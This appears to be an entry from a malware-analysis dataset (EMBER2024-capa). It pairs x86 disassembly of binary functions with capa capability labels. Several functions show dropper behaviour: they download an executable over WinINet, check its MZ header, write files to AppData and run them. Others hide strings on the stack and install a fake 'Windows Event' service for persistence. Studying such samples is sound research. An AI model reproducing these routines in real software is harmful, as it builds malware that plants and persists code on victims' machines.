joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001df28
Capabilities:
Check for time delay via gettickcount
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get common file path
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x150]
xor ebx, ebx
push ebx
push 0x1a
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
cmp dword [ebp + 0x10], 2
jne 0x1001df7d
mov dword [ebp - 0x10], 0x67756c50
mov dword [ebp - 0xc], 0x6c2e6e69
mov word [ebp - 8], 0x676f
mov byte [ebp - 6], bl
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea eax, [ebp - 0x10]
jmp 0x1001df9b
mov dword [ebp - 0x10], 0x2575525c
mov dword [ebp - 0xc], 0x58452e64
mov word [ebp - 8], 0x45
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001e044
push ebx
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp + 0x10], 2
je 0x1001e044
lea eax, [ebp - 0x150]
push 0x2e
push eax
call fcn.10029de0
pop ecx
pop ecx
test eax, eax
je 0x1001e044
lea eax, [ebp - 0x150]
mov dword [ebp - 0x18], 0x6e65706f
push eax
mov byte [ebp - 0x14], bl
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001e044
push 5
push ebx
push ebx
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001f247
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
push edi
mov edi, edx
test ebx, ebx
je 0x1001f31b
test edi, edi
je 0x1001f31b
lea eax, [ebp - 0x25c]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsA]
test eax, eax
je 0x1001f313
cmp byte [ebp - 0x25c], 0
je 0x1001f313
lea esi, [ebp - 0x25c]
push 0x10050d80
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x1001f30b
push 0x10050d84
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x1001f30b
mov al, byte [esi]
mov byte [ebp - 0x260], al
mov al, byte [esi + 1]
mov byte [ebp - 0x25f], al
lea eax, [ebp - 0x68]
push 0x64
push eax
lea eax, [ebp - 0x260]
mov byte [ebp - 0x25e], 0
push eax
call dword [sym.imp.KERNEL32.DLL_QueryDosDeviceA]
test eax, eax
je 0x1001f31b
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
mov dword [ebp - 0x264], eax
lea eax, [ebp - 0x68]
push eax
push ebx
call fcn.10029f17
add esp, 0xc
test eax, eax
je 0x1001f32e
add esi, 4
cmp byte [esi], 0
jne 0x1001f29a
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov eax, dword [ebp - 0x264]
add eax, ebx
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
xor eax, eax
inc eax
jmp 0x1001f31d

Function at 0x1001f70e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
lea ebx, [ecx + 0x9d58]
mov dword [ebp - 0x18], eax
push edi
mov edi, dword [ebp + 8]
test ebx, ebx
je 0x1001f784
test edi, edi
je 0x1001f784
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], ecx
test eax, eax
je 0x1001f786
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push 0x1001b200
push esi
push esi
call fcn.10027e4a
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x1001f786
xor esi, esi
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret 8
Function at 0x10020183
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
xor esi, esi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
push esi
push esi
push esi
push esi
mov dword [ebp - 0x10], esi
mov byte [ebp - 0xc], al
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push esi
push esi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x10020113
push esi
push esi
call fcn.10027e4a
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10021e50
mov esp, ebp
pop ebp
ret

Function at 0x1002025d
Capabilities:
Create http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
movdqa xmm0, xmmword [0x10051070]
xor eax, eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x1c], 0x69746170
xor ecx, ecx
mov dword [ebp - 0x18], 0x29656c62
push ecx
push ecx
inc eax
mov dword [ebp - 0x444], ecx
push ecx
mov dword [ebp - 0x44c], eax
mov ebx, edx
mov dword [ebp - 0x450], eax
lea eax, [ebp - 0x2c]
push ecx
push eax
mov dword [ebp - 0x448], ecx
movdqu xmmword [ebp - 0x2c], xmm0
mov byte [ebp - 0x14], cl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
xor eax, eax
test edi, edi
je 0x100203dc
push eax
push SysReAllocString
push eax
push eax
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
xor eax, eax
test esi, esi
je 0x100203dc
push eax
push eax
push 2
push eax
push eax
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
movdqa xmm0, xmmword [0x10051000]
mov ebx, eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x10], 0x494e4957
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x2e54454e
push eax
mov dword [ebp - 8], 0x6c6c64
movdqu xmmword [ebp - 0x40], xmm0
mov byte [ebp - 0x30], 0
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x454], eax
cmp ebx, 0xffffffff
je 0x100203ca
push 0x400
lea eax, [ebp - 0x440]
push 0
push eax
call fcn.10022cd0
add esp, 0xc
lea eax, [ebp - 0x444]
push eax
push 0x400
lea eax, [ebp - 0x440]
push eax
push esi
call dword [ebp - 0x454]
cmp dword [ebp - 0x44c], 0
je 0x1002038d
mov eax, 0x5a4d
cmp word [ebp - 0x440], ax
jne 0x100203bc
and dword [ebp - 0x44c], 0
lea eax, [ebp - 0x448]
push 0
push eax
push dword [ebp - 0x444]
lea eax, [ebp - 0x440]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [ebp - 0x444], 0
ja 0x10020346
jmp 0x100203c3
and dword [ebp - 0x450], 0
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret
Function at 0x100205d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x1002063d
mov ebx, 0x1002056d
test ebx, ebx
je 0x1002063d
xor edi, edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], edi
test eax, eax
je 0x1002063d
push edi
push edi
lea eax, [ebp - 0x14]
push eax
push 0x1001b200
push edi
push edi
call fcn.10027e4a
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
jmp 0x1002063f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret
Function at 0x10020f73
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x38
mov eax, 0x100427b1
call fcn.1003a17c
mov ebx, ecx
mov dword [ebp - 0x44], ebx
call fcn.10014081
mov byte [ebx], al
lea edi, [ebx + 0x144]
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [ebx + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 8], eax
xor eax, eax
push 2
mov word [ebx + 0xc], ax
lea eax, [edi + 0x14]
mov byte [ebx + 1], dl
pop ecx
dec ecx
mov dword [eax - 8], edx
mov dword [eax - 4], edx
mov dword [eax], edx
lea eax, [eax + 0x18]
jns 0x10020fae
push 6
pop ecx
mov dword [ebp - 0x30], edx
lea esi, [ebp - 0x40]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x40], edx
mov byte [ebp - 0x3c], dl
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], str.inx.xml
rep movsd dword es:[edi], dword [esi]
call fcn.10014081
test al, al
jne 0x10021006
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x335f6b73
push eax
mov dword [ebp - 0x20], 0x6c642e32
mov word [ebp - 0x1c], 0x6c
call fcn.10022b00
push eax
lea eax, [ebp - 0x24]
jmp 0x10021024
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x642e6b73
push eax
mov word [ebp - 0x14], 0x6c6c
mov byte [ebp - 0x12], 0
call fcn.10022b00
push eax
lea eax, [ebp - 0x18]
push eax
mov esi, 0x1005c440
push esi
call fcn.10021e60
and dword [ebp - 0x38], 0
lea edi, [ebx + 0x15c]
add esp, 0x10
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x40], 1
lea esi, [ebp - 0x40]
push 6
pop ecx
rep movsd dword es:[edi], dword [esi]
and dword [ebp - 0x38], 0
lea edi, [ebx + 0x174]
push 6
pop ecx
lea esi, [ebp - 0x40]
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x34], str.Plex.dll
rep movsd dword es:[edi], dword [esi]
lea edi, [ebx + 0x18c]
push 3
mov dword [ebp - 0x28], edi
pop ebx
push 0x28
call fcn.10022dd2
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
xor edx, edx
mov dword [ebp - 4], edx
test esi, esi
je 0x100210c3
push 0xa
pop ecx
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, esi
mov byte [esi], dl
mov dword [esi + 0xc], edx
mov dword [esi + 0x10], edx
mov dword [esi + 0x14], edx
mov dword [esi + 0x18], edx
mov dword [esi + 0x1c], edx
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], edx
mov dword [esi + 4], edx
mov dword [esi + 8], edx
call fcn.10013670
mov edi, dword [ebp - 0x28]
jmp 0x100210c5
mov esi, edx
or dword [ebp - 4], 0xffffffff
mov dword [edi], esi
add edi, 4
mov dword [ebp - 0x28], edi
dec ebx
jne 0x1002107b
mov eax, dword [ebp - 0x44]
call fcn.1003a12b
ret 8
Function at 0x10021199
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push 0x30
mov eax, 0x10042829
call fcn.1003a1e8
mov esi, ecx
mov dword [ebp - 0x38], esi
mov edi, dword [ebp + 8]
lea eax, [esi + 0xe]
mov dword [ebp - 0x30], eax
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
je 0x10021348
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 0x34], eax
test eax, eax
jne 0x100211fe
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
jmp 0x10021348
mov dword [ebp - 0x2c], ebx
push 4
push 0x3000
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x30], eax
push ebx
lea ecx, [ebp - 0x2c]
push ecx
push dword [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
call fcn.10001bf6
mov dword [ebp - 4], ebx
mov eax, dword [edi]
mov ecx, dword [esi + eax*4 + 0x18c]
test ecx, ecx
je 0x100212ac
push dword [ebp - 0x30]
call fcn.10012f8e
test eax, eax
jne 0x100212ac
lea eax, [esi + 0xe]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov dword [ebp - 0x24], 0xd8d4d3bc
mov dword [ebp - 0x20], 0xfebce5b2
mov dword [ebp - 0x1c], 0xdcb0a7ca
mov byte [ebp - 0x18], bl
mov dword [ebp - 0x28], ebx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x28]
call fcn.1000b30d
mov byte [ebp - 4], 1
lea eax, [ebp - 0x28]
push eax
mov ecx, esi
call fcn.10021103
mov byte [ebp - 4], 2
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x28]
lea ecx, [ecx - 0x10]
call fcn.10001f5f
jmp 0x10021348
or dword [ebp - 4], 0xffffffff
mov eax, dword [edi]
push dword [edi + 4]
mov ecx, dword [esi + eax*4 + 0x18c]
call fcn.100135a9
test eax, eax
je 0x100212da
cmp dword [edi], 0
jne 0x100212da
push dword [edi + 8]
push dword [esi + 8]
push dword [esi + 4]
call eax
add esp, 0xc
mov ebx, eax
cmp dword [edi], 1
jne 0x100212e6
mov byte [esi + 0x160], 1
mov eax, ebx
jmp 0x1002134a
xor eax, eax
call fcn.1003a13a
ret 4

Function at 0x10021493
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [ecx + 0xe]
push 0x134
xor ebx, ebx
mov word [ebp - 8], 0x5c
push ebx
push esi
call fcn.10022cd0
add esp, 0xc
push ebx
push 0x1a
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 8]
push eax
push esi
call fcn.10028a90
push edi
push esi
call fcn.10028a90
mov ecx, dword [ebp - 4]
add esp, 0x10
mov eax, esi
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret 4
Function at 0x1002164e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, dword [edi]
cmp ecx, 3
jl 0x10021666
xor eax, eax
jmp 0x100216b4
imul eax, ecx, 0x18
cmp byte [eax + esi + 0x148], 0
jne 0x100216ac
lea eax, [ecx + 0xe]
mov ecx, esi
imul eax, eax, 0x18
push dword [eax + esi]
call fcn.10021493
lea eax, [esi + 0xe]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100216a0
push dword [edi]
mov ecx, esi
push 0xc87
call fcn.100214f6
push edi
mov ecx, esi
call fcn.10021199
test eax, eax
je 0x10021662
push edi
mov ecx, esi
call fcn.10021352
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x100216bc
Capabilities:
Contain obfuscated stackstrings
Create service
Delete service
Modify service
Persist via windows service
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x64], ecx
push 0xf003f
push ebx
push ebx
mov esi, edx
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x14], 0x646e6957
mov edi, ebx
mov dword [ebp - 0x10], 0x2073776f
mov dword [ebp - 0xc], 0x6e657645
mov word [ebp - 8], 0x6e74
mov byte [ebp - 6], bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x68], eax
test eax, eax
je 0x1002181a
test esi, esi
je 0x10021736
push 0xf01ff
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x1002180f
mov eax, dword [ebp - 0x68]
sub esi, ebx
je 0x10021775
dec esi
je 0x1002176a
dec esi
je 0x1002175b
dec esi
jne 0x10021801
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x10021801
jmp 0x100217fe
lea eax, [ebp - 0x48]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
jmp 0x1002174e
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
jmp 0x1002174e
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x64]
xor esi, esi
lea ecx, [ebp - 0x14]
inc esi
push esi
push 2
push 0x110
push 0xf01ff
push ecx
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x64], eax
lea edi, [ebp - 0x58]
xor eax, eax
mov dword [ebp - 0x5c], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x5c]
mov edi, dword [ebp - 0x64]
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call esi
xor eax, eax
mov dword [ebp - 0x58], ebx
inc eax
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x5c]
push eax
push 2
push edi
mov dword [ebp - 0x28], 0x1388
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x50], 3
mov dword [ebp - 0x54], ebx
call esi
lea eax, [ebp - 0x5c]
push eax
push 1
push edi
call esi
test edi, edi
jne 0x10021805
mov dword [ebp - 0x60], ebx
test edi, edi
je 0x1002180c
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, dword [ebp - 0x60]
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret
Function at 0x43474b
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a0
push esi
push edi
cmp dword [ebp + 8], 0
je 0x4348c5
cmp dword [ebp + 0xc], 0
je 0x4348c5
push dword [ebp + 0xc]
call dword [sym.imp.MSVCR100.dll_strlen]
pop ecx
cmp eax, 3
jne 0x4348c5
push 0x58
push 0
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.MSVCR100.dll_memset]
add esp, 0xc
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
push 6
pop ecx
mov esi, 0x428a08
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x27
push 0
lea eax, [ebp - 0x27]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 3
push dword [ebp + 0xc]
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.MSVCR100.dll_memcpy]
add esp, 0xc
push 3
push dword [ebp + 0xc]
lea eax, [ebp - 0x3a]
push eax
call dword [sym.imp.MSVCR100.dll_memcpy]
add esp, 0xc
mov dword [ebp - 0x98], 0x58
mov eax, dword [0x45c598]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], 0x104
lea eax, [ebp - 0x40]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x80], 1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x298]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
test eax, eax
je 0x4348b0
xorpd xmm0, xmm0
movlpd qword [ebp - 0x2a0], xmm0
jmp 0x434862
mov eax, dword [ebp - 0x2a0]
add eax, 1
mov ecx, dword [ebp - 0x29c]
adc ecx, 0
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], ecx
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp + 8]
movzx eax, byte [ecx + eax]
test eax, eax
je 0x434894
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp + 8]
movzx eax, byte [ecx + eax]
cmp eax, 0x5c
jne 0x434892
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp + 8]
mov byte [ecx + eax], 0x2f
jmp 0x434844
lea eax, [ebp - 0x298]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
call dword [sym.imp.USER32.dll_ShowCursor]
xor eax, eax
inc eax
xor edx, edx
jmp 0x4348c9
lea eax, [ebp - 0x298]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
call dword [sym.imp.USER32.dll_ShowCursor]
xor eax, eax
xor edx, edx
pop edi
pop esi
leave
ret 8
Function at 0x434914
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
cmp dword [ebp + 8], 0
je 0x434ab9
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
test eax, eax
je 0x434ab9
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.MSVCR100.dll_strcpy]
pop ecx
pop ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
and dword [eax], 0
and dword [eax + 4], 0
movzx eax, byte [ebp - 0x210]
cmp eax, 0x7f
jl 0x434a17
xorpd xmm0, xmm0
movlpd qword [ebp - 0x220], xmm0
jmp 0x434993
mov eax, dword [ebp - 0x220]
add eax, 1
mov ecx, dword [ebp - 0x21c]
adc ecx, 0
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], ecx
mov eax, dword [ebp - 0x220]
movzx eax, byte [ebp + eax - 0x210]
test eax, eax
je 0x434a17
push 0
push 2
push dword [ebp - 0x21c]
push dword [ebp - 0x220]
call fcn.0045be60
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], edx
mov eax, dword [ebp - 0x228]
or eax, dword [ebp - 0x224]
jne 0x4349f4
mov eax, dword [ebp - 0x220]
movzx eax, byte [ebp + eax - 0x210]
sub eax, 0x55
mov ecx, dword [ebp - 0x220]
mov byte [ebp + ecx - 0x210], al
jmp 0x434a12
mov eax, dword [ebp - 0x220]
movzx eax, byte [ebp + eax - 0x210]
sub eax, 0x77
mov ecx, dword [ebp - 0x220]
mov byte [ebp + ecx - 0x210], al
jmp 0x434975
and dword [ebp - 0x214], 0
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 0x4348cf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x434a4d
xor eax, eax
xor edx, edx
jmp 0x434abd
push 0xc8
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x434a99
cmp dword [ebp - 0x214], 0xaabbccdd
jne 0x434a99
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
mov edx, dword [ecx + 4]
jmp 0x434abd
push 0
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
xor edx, edx
jmp 0x434abd
xor eax, eax
xor edx, edx
leave
ret 4

Function at 0x434ac1
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
xorpd xmm0, xmm0
movlpd qword [ebp - 8], xmm0
jmp 0x434ae3
mov eax, dword [ebp - 8]
add eax, 1
mov ecx, dword [ebp - 4]
adc ecx, 0
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
movzx eax, byte [ecx + eax]
test eax, eax
je 0x434b20
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
movzx eax, byte [ecx + eax]
cmp eax, 0x2f
jne 0x434b1e
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov byte [ecx + eax], 0
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll__mkdir]
pop ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov byte [ecx + eax], 0x2f
jmp 0x434ad1
leave
ret 4
Function at 0x10001d53
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [ebp + 8], 0
je 0x10001d77
push ecx
lea eax, [ebp - 1]
mov byte [ebp - 1], 0
push 0
push eax
mov edx, 0x793c
call fcn.10001ab0
add esp, 0xc
jmp 0x10001d84
push 0xa8d
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esp, ebp
pop ebp
ret